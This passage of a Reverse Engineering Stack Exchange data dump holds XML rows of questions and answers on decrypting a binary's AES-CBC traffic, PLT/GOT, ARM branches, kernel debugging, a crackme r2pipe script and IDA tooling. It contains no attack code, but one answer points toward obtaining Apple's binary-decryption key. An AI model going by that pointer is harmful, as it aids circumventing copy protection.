&lt;strong&gt;7286276c0adb764ff1926bde8a12cbe6&lt;/strong&gt; and IV &lt;strong&gt;4055a56761010000000054557a167642&lt;/strong&gt; (output from the aforementioned Obj C code, as (128 AES CBC w/ PKCS7 padding) the resulting decrypted data is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;requesË4¶ÆðÎtem-serial-number&quot;:&quot;C02S213LG8WQ&quot;,&quot;system-environment&quot;:&quot;EFI&quot;,&quot;diagnostic-version&quot;:&quot;1.1.15&quot;,&quot;netboot-image&quot;:&quot;EFI&quot;}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where the correct output would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;request&quot;:{&quot;system-serial-number&quot;:&quot;C02S213LG8WQ&quot;,&quot;system-environment&quot;:&quot;EFI&quot;,&quot;diagnostic-version&quot;:&quot;1.1.15&quot;,&quot;netboot-image&quot;:&quot;EFI&quot;}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hence, my question is, given that the only data that is transmitted is that which is present in the sample request, and the decryption of the first block is partially successful, what have I misinterpreted in terms of generating the IV that enables one to properly decrypt the last part of the first block? A secondary question, if someone knows the answer, is why is it that the first block is successfully partially decrypted even when the IV is not completely correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to the binary: &lt;a href=&quot;https://www.dropbox.com/s/03mznlgsflkfn42/TA?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/03mznlgsflkfn42/TA?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24296" LastActivityDate="2018-05-08T08:36:39.820" Title="How is the IV generated from a timestamp based on this function?" Tags="|ida|disassembly|binary-analysis|x86|decryption|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18207" PostTypeId="1" AcceptedAnswerId="18208" CreationDate="2018-05-08T04:18:11.493" Score="5" ViewCount="785" Body="&lt;p&gt;I am learning to analyze binaries using radare2 and have been confused about what occurs within imported functions. In the binary below, titled Lab2B, I statically disassembled the binary and then disassembled one of the imported library functions, sym.imp.printf. As you can see below it merely lists one instruction: &lt;code&gt;jmp dword [reloc.printf]&lt;/code&gt;. When I seek to the location &lt;code&gt;[reloc.printf]&lt;/code&gt; and I print the disassembled functions contained at it, the command line prints &quot;Cannot find function at 0x0804a00c&quot;. I have noticed the same behavior with all of the other imported functions. They often have a single instruction that points to an address that doesn't contain any instructions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why are there no instructions contained at the address that the instruction tells the compiler to jump to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LDuoZ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LDuoZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24090" LastEditorUserId="24090" LastEditDate="2018-05-08T06:46:55.700" LastActivityDate="2018-05-10T03:23:34.500" Title="Why do many imported functions jump to addresses that do not contain instructions?" Tags="|assembly|x86|radare2|functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18208" PostTypeId="2" ParentId="18207" CreationDate="2018-05-08T04:47:57.023" Score="5" Body="&lt;p&gt;I assume you are statically inspecting the program, hence, the addresses of the imported symbols wasn't calculated yet by the linker. To understand that better you need to get familiar with two terms, PLT and GOT. Anyway, even if you are debugging the file, these are not functiona but a table with pointers. So &lt;code&gt;pdf&lt;/code&gt; isn't what you should try. Give a shot to &lt;code&gt;pd&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Dynamic Linking&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Procedure Linkage Table is a memory structure that contains a code stub for external functions that their addresses are unknown at the time of linking.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever we see a &lt;code&gt;CALL&lt;/code&gt; instruction to a function in the &lt;code&gt;.text&lt;/code&gt; segment it doesn’t call the function directly. Instead, it calls the stub code at the &lt;code&gt;PLT&lt;/code&gt;, say &lt;code&gt;func_name@plt&lt;/code&gt;. The stub then jumps to the address listed for this function in the Global Offset Table (&lt;code&gt;GOT&lt;/code&gt;). If it is the first &lt;code&gt;CALL&lt;/code&gt; to this function, the &lt;code&gt;GOT&lt;/code&gt; entry will point back to the &lt;code&gt;PLT&lt;/code&gt; which in turn would call a dynamic linker that will resolve the real address of the desired function. The next time that &lt;code&gt;func_name@plt&lt;/code&gt; is called, the stub directly obtains the function address from the &lt;code&gt;GOT&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To read more about the linking process, I highly recommend &lt;a href=&quot;https://www.airs.com/blog/archives/38&quot; rel=&quot;nofollow noreferrer&quot;&gt;this series of articles&lt;/a&gt; about linkers by &lt;em&gt;Ian Lance Taylor&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Radare2 is detecting the addresses of the PLT and GOT. Where you see &lt;code&gt;sym.imp.printf&lt;/code&gt; it is actually the reserved address for &lt;code&gt;printf()&lt;/code&gt; int the PLT. When you see &lt;code&gt;reloc.printf&lt;/code&gt; is the address reserved for it in the GOT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using &lt;code&gt;iS&lt;/code&gt; you can list the sections of &lt;code&gt;PLT&lt;/code&gt; and &lt;code&gt;GOT&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2018-05-10T03:23:34.500" LastActivityDate="2018-05-10T03:23:34.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18209" PostTypeId="2" ParentId="18206" CreationDate="2018-05-08T08:28:21.923" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;why is it that the first block is successfully partially decrypted&#xA;  even when the IV is not completely correct?&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can understand this, if you have a look at the CBC decryption diagram. In this mode, the IV is xor to the decrypted first block.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/dFjX3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dFjX3.png&quot; alt=&quot;CBC mode decryption&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if your IV is partially correct, then the decrypted plaintext will be partially correct also. Therefore the problem is that only the first half of your IV is correct. In case of the second half of the IV, you used the binary representation of the double value, while the first half is the timestamp after converting it to an integer value. Although I did not check, but I think you have to convert the timestamp to integer and perform a bitwise complement (~) operation to get the second half of the IV.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2018-05-08T08:28:21.923" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18211" PostTypeId="2" ParentId="18206" CreationDate="2018-05-08T08:36:39.820" Score="1" Body="&lt;p&gt;In AES CBC if you're encrypting the data, it's YOU who specify this IV, and usually it's just random bytes. So basically you don't care about how this Objective C code does this randomization, just use your own random data. IV is then stored within the encrypted data, at the very beginning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the decryption side, AES CBC gets IV from the encrypted data and just uses it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, unless you're doing academically correct reversing, you don't need to spend time on understanding how random data is generated in this particular case. &lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-05-08T08:36:39.820" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18212" PostTypeId="1" CreationDate="2018-05-08T17:12:58.730" Score="0" ViewCount="940" Body="&lt;p&gt;I have this instruction &lt;code&gt;F6F700B8&lt;/code&gt; I know that it &lt;code&gt;b #-0xA000&lt;/code&gt; but how I can understand from &lt;code&gt;F6F700B8&lt;/code&gt; that is &lt;code&gt;b #-0xA000&lt;/code&gt; ? .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tried to translate  it on &lt;a href=&quot;http://armconverter.com/hextoarm/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://armconverter.com/hextoarm/&lt;/a&gt; I get &lt;code&gt;B.W #0xFFFF6004&lt;/code&gt;   how &lt;code&gt;0xFFFF6004&lt;/code&gt; came to &lt;code&gt;-0xA000&lt;/code&gt; ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank&lt;/p&gt;&#xA;" OwnerUserId="24303" LastActivityDate="2018-05-09T13:42:08.827" Title="how to understand branch arm instruction" Tags="|assembly|binary-analysis|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18214" PostTypeId="2" ParentId="18180" CreationDate="2018-05-08T19:10:12.207" Score="4" Body="&lt;p&gt;I don't think there's a way to add a new function variable, since the decompiler creates those based on registers and stack locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in situations where it's really annoying, creating a union type in the Structure viewer can be helpful. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8Hkwx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Hkwx.png&quot; alt=&quot;Union Definition&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in your decompiler, set the type of the variable to the union type (Y is the keyboard shortcut).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/u5mis.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u5mis.png&quot; alt=&quot;variable type declaration&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the disassembly, depending on the variable usage, you can use &quot;Alt-Y&quot; to select the appropriate union field. (it's also accessible in the right click menu)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/UM067.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UM067.png&quot; alt=&quot;Union field select&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12613" LastActivityDate="2018-05-08T19:10:12.207" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18215" PostTypeId="2" ParentId="18212" CreationDate="2018-05-08T20:29:04.733" Score="1" Body="&lt;p&gt;answer is for point 2 of your question  regarding the conversion by hextoarm&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is pc relative  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you did not give a starting offset  so it is assumed as 0x0 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the pc will be 4 bytes ahead &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so PC  would be 0x4  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;therefore offset would be (4 - 0xa000) ==  0xffff6004 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0xffff6004 is == - (minus) 0x9ffc  read about  2's complement&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;e:\GNUWIN32\bin\calc.exe&#xA;C-style arbitrary precision calculator (version 2.11.10.1)&#xA;Calc is open software. For license details type:  help copyright&#xA;[Type &quot;exit&quot; to exit, or &quot;help&quot; for help.]&#xA;&#xA;; base(16)&#xA;        0xa&#xA;; -0x9ffc&#xA;        -0x9ffc&#xA;; 0xffff6004 - 0x100000000&#xA;        -0x9ffc&#xA;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if your current address were 0x9ffc  your PC would be 0xa000  and the disassembly would have been b.w #0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but since you didn't give a  start address hextoarm subtracted 0x9ffc from 0 &#xA;and provided you a negative offset  0xffff6004  which is 2s complement of 0x9ffc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C:&gt;python -c &quot;print \&quot;%x\&quot; % (0x100000000 - 0xffff6004 +4 )&quot;&#xA;a000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;before you ask what 2,s complement is here is a simple python script that shows what 2's complement is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print(&quot;2's complement Notation is&quot;)&#xA;print(&quot;take the input number and flip all bits and add 1 to the result&quot;)&#xA;print(&quot;xorring with 0xffffffff flips all the 32 bits in a given number&quot;)&#xA;import sys&#xA;arm_opcode = input(&quot;provide a number : &quot; )&#xA;print ( &quot;you entered &quot; +  hex(arm_opcode))&#xA;print (&quot;flipping the bits and adding 1 to &quot; + hex(arm_opcode) )&#xA;twoscomp =  hex(int( arm_opcode ^ 0xffffffff ) + 1)&#xA;print (&quot;2's complement for &quot; + hex(arm_opcode) + &quot; is &quot; + twoscomp )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;executing it &lt;/p&gt;&#xA;&#xA;&lt;p&gt;C:&gt;python twoscompdemo.py&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2's complement Notation is&#xA;take the input number and flip all bits and add 1 to the result&#xA;xorring with 0xffffffff flips all the 32 bits in a given number&#xA;provide a number : 0xffff6004&#xA;you entered 0xffff6004L&#xA;flipping the bits and adding 1 to 0xffff6004L&#xA;2's complement for 0xffff6004L is 0x9ffc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;==========================================================================&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for your f6f700b8  you should state what your current address is &#xA;if it is as you say b #-0xa000  then address happens to be -0x4 which appears illogical &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;python&#xA;&amp;gt;&amp;gt;&amp;gt; from keystone import *&#xA;&amp;gt;&amp;gt;&amp;gt; for i in (Ks(KS_ARCH_ARM,KS_MODE_THUMB).asm(&quot;b.w #-0xa000&quot; , -0x4 ))[0]:&#xA;...     print &quot;%02x &quot; % i,&#xA;...&#xA;f6  f7  00  b8&#xA;&amp;gt;&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-05-09T13:42:08.827" LastActivityDate="2018-05-09T13:42:08.827" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18216" PostTypeId="2" ParentId="15426" CreationDate="2018-05-09T01:51:48.327" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Start &lt;strong&gt;Debugger&lt;/strong&gt; VM at first.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WinDbg: com:port=com1,baud=115200&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start &lt;strong&gt;Debuggee&lt;/strong&gt; VM at second, and &lt;strong&gt;Enable Kernel Debug Mode&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Windows\system32&amp;gt;bcdedit /copy {current} /d &quot;Windows Kernel Exploitation&quot;   &#xA;.... {bee4606e-51f1-11e8-97a8-decf25840cbf}&#xA;&#xA;C:\Windows\system32&amp;gt;bcdedit /debug {bee4606e-51f1-11e8-97a8-decf25840cbf} on   &#xA;&#xA;C:\Windows\system32&amp;gt;bcdedit /dbgsettings  &#xA;debugtype               Serial   &#xA;debugport               1  &#xA;baudrate                115200&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Debuggee&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xryxT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xryxT.png&quot; alt=&quot;Windows Kernel Debuggee&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Debugger&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ny0dt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ny0dt.png&quot; alt=&quot;Windows Kernel Debugger&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wjhWe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wjhWe.png&quot; alt=&quot;Windows Kernel WinDbg Output&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24310" LastEditorUserId="24310" LastEditDate="2018-05-09T01:57:07.933" LastActivityDate="2018-05-09T01:57:07.933" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18217" PostTypeId="1" AcceptedAnswerId="18236" CreationDate="2018-05-09T03:05:07.733" Score="1" ViewCount="1007" Body="&lt;p&gt;Have a functioning r2pipe script, but there's a need for hitting crtl-c to continue near the breakpoint(not a major issue,) however the script does not pause for input when the crackme asks for user input like it does in regular r2 command line. Whats the best way of sending input to the binary?&#xA;This tree of inputs is required near the end of the executable.&#xA;Can't manage it to prompt even for the first.&#xA;No problems with script except for the input issue.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import r2pipe&#xA;r = r2pipe.open('crackme, flags=['-d'])&#xA;r.cmd('e dbg.profile=robot.rr2')&#xA;r.cmd('db 0x080486d8;') &#xA;print(r.cmd('dc'))&#xA;print(r.cmd('dc'))&#xA;sep=' '&#xA;&#xA;value1=int(r.cmd('? [ebp+0xc];').split(sep, 1)[0])&#xA;value2=int(r.cmd('? [ebp+0x10];').split(sep, 1)[0])&#xA;hex_operator=r.cmd('dr eax')&#xA;operator=r.cmd('? '+(hex_operator))&#xA;&#xA;if '+' in operator:&#xA;    answer=value1+value2&#xA;&#xA;elif '-' in operator:&#xA;    answer=value1-value2&#xA;&#xA;print(r.cmd('dc'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should prompt for input down here, but the execution just ends after the &quot;what's the password&quot;&#xA;OR if I enter the r2 commands without r2pipe starting with: &#xA; r2 -d crackme -c &quot;e dbg.profile=robot.rr2&quot;&#xA;it does prompt me for input but rr2 still does not input whats in input.txt&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in my .rr2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/rarun2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;have tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;input=input.txt &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stdin=input.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;input.txt is just a string&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is it possible rarun's input or stdin directives are not compatible or something?&lt;/p&gt;&#xA;" OwnerUserId="24178" LastEditorUserId="24178" LastEditDate="2018-05-10T00:02:09.470" LastActivityDate="2018-05-11T14:21:35.643" Title="r2pipe won't prompt for user input like the binary does in r2 debugger mode" Tags="|binary-analysis|radare2|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="18218" PostTypeId="1" CreationDate="2018-05-09T09:54:25.657" Score="0" ViewCount="2293" Body="&lt;p&gt;I have a question about using OllyDbg. Is it possible to search for a part of the code through some command? For example I would like to find this value [ESI + 80] in my exe. It's possible?&lt;/p&gt;&#xA;" OwnerUserId="24315" LastEditorUserId="60" LastEditDate="2018-05-09T15:00:18.397" LastActivityDate="2018-05-09T15:00:18.397" Title="Searching instructions in OllyDbg" Tags="|ollydbg|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18219" PostTypeId="2" ParentId="18218" CreationDate="2018-05-09T11:23:24.987" Score="1" Body="&lt;p&gt;are you looking for finding all of these in one go ? that is not possible ollydbg search is not text grep  copy paste the disassembly to text and use grep  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address   Hex dump                             Command         &#xA;00743F61      00                               DB      00&#xA;00743F62      00                               DB      00&#xA;00743F63      3E:C785 80000000 03000000        MOV     DWORD PTR DS:[EBP+80], 3&#xA;00743F6E      3E:66:C785 80000000 0300         MOV     WORD PTR DS:[EBP+80], 3&#xA;00743F78      3E:C685 80000000 03              MOV     BYTE PTR DS:[EBP+80], 3&#xA;00743F80      3E:FFB5 80000000                 PUSH    DWORD PTR DS:[EBP+80]&#xA;00743F87      FFB0 80000000                    PUSH    DWORD PTR DS:[EAX+80]&#xA;00743F8D      36:8180 80000000 FF000000        ADD     DWORD PTR SS:[EAX+80], 0FF&#xA;00743F98      0000                             ADD     BYTE PTR DS:[EAX], AL&#xA;00743F9A      0000                             ADD     BYTE PTR DS:[EAX], AL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but if you are looking for finding all one kind of instruction&lt;br&gt;&#xA;like let's say &lt;/p&gt;&#xA;&#xA;&lt;p&gt;push dword ptr anyseg:[ANY register +SOMECONST]  (the keyword being the mnemonic)   or   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;mov dword ptr ANYSEG:[ANYREGISTER + SOMECONST]  (again it is mov that drives the search not the operand   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;then it is possible   either &lt;strong&gt;ctrl+f  and type  PUSH [R32+CONST]&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or &lt;strong&gt;right click search for all commands and type push [r32+CONST]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the search for PUSH [R32+CONST] yields ~4500 hits  whereas PUSH [eax+80] yields one hit&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;wc -l search.txt&#xA;4581 search.txt&#xA;&#xA;&amp;gt;grep -i +80 search.txt | wc -l&#xA;19&#xA;&#xA;&amp;gt;grep -i EAX+80 search.txt | wc -l&#xA;1&#xA;&#xA;&amp;gt;grep -i EAX+80 search.txt&#xA;00743F87  PUSH    DWORD PTR DS:[EAX+80]&#xA;&#xA;&amp;gt;grep -i EbX+80 search.txt | wc -l&#xA;0&#xA;&#xA;&amp;gt;grep -i ECX+80 search.txt | wc -l&#xA;1&#xA;&#xA;&amp;gt;grep -i ECX+80 search.txt&#xA;00728460  PUSH    DWORD PTR DS:[ECX+80]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is another example &lt;/p&gt;&#xA;&#xA;&lt;p&gt;searching for &lt;code&gt;mov [r32+CONST] , CONST&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;wc -l srch.txt&#xA;925 srch.txt&#xA;&#xA;:\&amp;gt;head -n 3 srch.txt&#xA;Search - Commands found in calc:.text&#xA;Address   Command                                  Comments&#xA;006F16F1  MOV     DWORD PTR SS:[EBP-0CF0], 30&#xA;&#xA;:\&amp;gt;tail -n 3 srch.txt&#xA;00743F70  MOV     DWORD PTR SS:[EBP+80], C63E0003&#xA;00743F78  MOV     BYTE PTR DS:[EBP+80], 3&#xA;00743F79  MOV     BYTE PTR SS:[EBP+80], 3&#xA;&#xA;:\&amp;gt;grep -i 80 srch.txt | wc -l&#xA;54&#xA;&#xA;:\&amp;gt;grep -i ebp+80 srch.txt | wc -l&#xA;7&#xA;&#xA;:\&amp;gt;grep -i ebp+80 srch.txt&#xA;00743F63  MOV     DWORD PTR DS:[EBP+80], 3&#xA;00743F64  MOV     DWORD PTR SS:[EBP+80], 3&#xA;00743F6E  MOV     WORD PTR DS:[EBP+80], 3&#xA;00743F6F  MOV     WORD PTR SS:[EBP+80], 3&#xA;00743F70  MOV     DWORD PTR SS:[EBP+80], C63E0003&#xA;00743F78  MOV     BYTE PTR DS:[EBP+80], 3&#xA;00743F79  MOV     BYTE PTR SS:[EBP+80], 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-05-09T11:30:57.110" LastActivityDate="2018-05-09T11:30:57.110" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18221" PostTypeId="1" CreationDate="2018-05-09T16:45:44.280" Score="2" ViewCount="1958" Body="&lt;p&gt;i am trying to use gdb to analyse a c program but i am a little confused.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/L9fGY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/L9fGY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;in the above picture you can see  i am trying to analyse the stack . On the left we have memory addresses.Since i am using a 64 bit machine ,shouldn't ever memory address have 64 bits?but in the picture every memory location has 32 bits . Also the stack starts at 0x28fed0 and the second address is 0x28fee0 ,where are the address between these.I mean where is 0x28fed1?&#xA;I studied architecture many years ago and i seem to be missing something basic.&#xA;Can any one help me out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="24317" LastActivityDate="2018-05-09T18:39:13.070" Title="Question about gdb and memory addresses" Tags="|gdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18222" PostTypeId="2" ParentId="18221" CreationDate="2018-05-09T18:39:13.070" Score="2" Body="&lt;p&gt;The stack is not intrinsically 64-bit, it's just a memory area which can contains anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You specifically asked gdb to dump the memory in 32-bit quantities:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;x/32xw&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;32 is the count (you can see that you've got 8 lines of 4 columns), &lt;code&gt;x&lt;/code&gt; is output format (hexadecimal), and &lt;code&gt;w&lt;/code&gt; is the item size (&quot;word&quot; - a 32-bit integer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to view memory as an array of 64-bit items, replace &lt;code&gt;w&lt;/code&gt; by &lt;code&gt;g&lt;/code&gt; (&quot;giant word&quot; or a 64-bit integer). To see individual bytes, use &lt;code&gt;b&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for addressing, each 32-bit item occupies four 8-bit bytes, so a row of four of them adds up to &lt;code&gt;4*4=16&lt;/code&gt;, or &lt;code&gt;0x10&lt;/code&gt; bytes, that's why the next line starts at &lt;code&gt;0x28fee0&lt;/code&gt;. The byte at address &lt;code&gt;0x28fed1&lt;/code&gt; is present inside the 32-bit word at 0x28fed0. Try dumping memory in different formats to get the feel for the data layout. Read up on &lt;em&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Endianness&quot; rel=&quot;nofollow noreferrer&quot;&gt;little endian&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-05-09T18:39:13.070" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18223" PostTypeId="1" AcceptedAnswerId="18224" CreationDate="2018-05-09T21:32:56.770" Score="5" ViewCount="650" Body="&lt;p&gt;I'm trying to disassemble Dock.app on macOS Sierra, and IDA is giving me this error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3mIUJ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3mIUJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does this mean?&lt;/p&gt;&#xA;" OwnerUserId="15893" LastActivityDate="2019-01-19T05:28:08.530" Title="IDA Pro: &quot;File is apple protected&quot;" Tags="|ida|macos|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18224" PostTypeId="2" ParentId="18223" CreationDate="2018-05-09T21:45:50.427" Score="5" Body="&lt;p&gt;If you look in macho.cfg you find:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Key used to decrypt apple-protected binaries.&#xA;// Due to copyright reasons we cannot publish the key,&#xA;// but we can give you clues...&#xA;//   http://www.takwing.idv.hk/tech/virtual/faq/no_more_fakesmc.html&#xA;&#xA;SMC_DEVICE_KEY = &quot;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The link mentioned no longer works, but there are many other places on the internet where the key can be found.&lt;/p&gt;&#xA;" OwnerUserId="15893" LastActivityDate="2018-05-09T21:45:50.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
